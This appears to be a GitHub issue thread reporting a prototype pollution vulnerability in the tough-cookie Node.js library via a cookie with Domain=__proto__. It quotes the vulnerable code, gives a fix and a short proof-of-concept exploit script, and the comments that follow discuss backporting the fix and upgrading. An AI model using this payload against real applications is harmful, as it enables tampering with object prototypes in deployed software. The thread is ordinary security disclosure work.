salesforce / tough-cookie

RFC6265 Cookies and CookieJar for Node.js

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Security Risk

Slonser opened this issue · comments

Overview

While researching a commercial product, I came across a vulnerability in their infrastructure caused by your library
Vulnerability occurs if you use CookieJar in rejectPublicSuffixes=false mode.
You can do Prototype Pollution when pass Domain=__proto__
It comes from this point in the code:

  this.idx = {};
  
  ...........
  
  putCookie(cookie, cb) {
    if (!this.idx[cookie.domain]) {
      this.idx[cookie.domain] = {};
    }
    if (!this.idx[cookie.domain][cookie.path]) {
      this.idx[cookie.domain][cookie.path] = {};
    }
    this.idx[cookie.domain][cookie.path][cookie.key] = cookie;
    cb(null);
  }

As you can see, this.idx - Object
If cookie.domain equals to __proto__ then you override global object prototype.
It seems to me that this is clearly non-obvious behavior. It also carries certain risks.

Fix

To fix this, you need to store cookies in Map, or you can use this.idx = Object.create(null); to create idx variable

PoC

To reproduce vulnerability, node PoC.js, you will see the printed string Cookie="Slonser=polluted; Domain=__proto__; Path=/notauth; hostOnly=false; aAge=1117ms; cAge=1117ms" in the terminal
But as you can see, script didn't set ["/notauth"]["Slonser"] property by it self.

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Can this fix be back ported to version 2.x of tough-cookie so that consumers of packages locked to that major version can pull in the fix?

We recommend upgrading to 4.1.3 to move out of exposure: https://status.salesforce.com/generalmessages/1155

I would upgrade if tough-cookie were a direct dependency of mine. Unfortunately my dependency tree contains dependencies that are locked to tough-cookie@~2.5.0, and I have more confidence in a fix being backported as a patch version than I do in tracking down the owners of all of those packages to make updates to them.

Same here. Would appreciate a back-port to 2.x and 3.x. Even though it'd be easy to achieve IMO I have little hope it'll materialize. I'm not seeing 2.x/3.x maintenance branches.

Also, the same here. There are multiple npm packages locked to tough-cookie@2.5.0. It would be great having this security fix back ported to version 2.x.

@marcelstoer @bhsdodo is the dependency on request? if so, you wouldn't be vulnerable to this security issue (see #293 for more details). In the meantime, we'll discuss a potential backport for 2.x/3.x.

@colincasey Yes, it is request. Thanks for replying. Altough not being vunerable, the scans are pointing to this critical security vulnerability since it is a dependency 😟
As workaround, I am overriding the tough-cookie version under request with overrides npm option.

@bhsdodo (or anyone, for that matter) can you confirm whether 4.1.3 is backwards compatible with request expecting v2.5.0? A lot of frustrated googling eventually landed me here 😂

@bhsdodo (or anyone, for that matter) can you confirm whether 4.1.3 is backwards compatible with request expecting v2.5.0? A lot of frustrated googling eventually landed me here 😂

I'm also interested in this, addressing similar security scans against request in a project.

I dug around a bit in this repo...

  • Moving from 2.x to 3.0.0:
    • has no official changelog, but can view the commit range here: 9ff4ba5...05b4713 . From what I can tell moving from 2.x to 3.0.0 is relatively safe, at a glance I am guessing the only breaking change was dropping support for older nodejs versions
  • Moving from 3.x to 4.0.0:

I had been planning to add a specific pnpm override, but considering the convo in #282 (comment) , I may just defer until a 2.x backport exists

We currently have no plans to do a backport. We do recommend moving to 4.1.3 to move out of exposure.

The work that is coming in 5 will be a large change from 4.x and previous versions, as the project has embraced typescript.

We currently have no plans to do a backport. We do recommend moving to 4.1.3 to move out of exposure.

The work that is coming in 5 will be a large change from 4.x and previous versions, as the project has embraced typescript.

No problem, thanks for the info!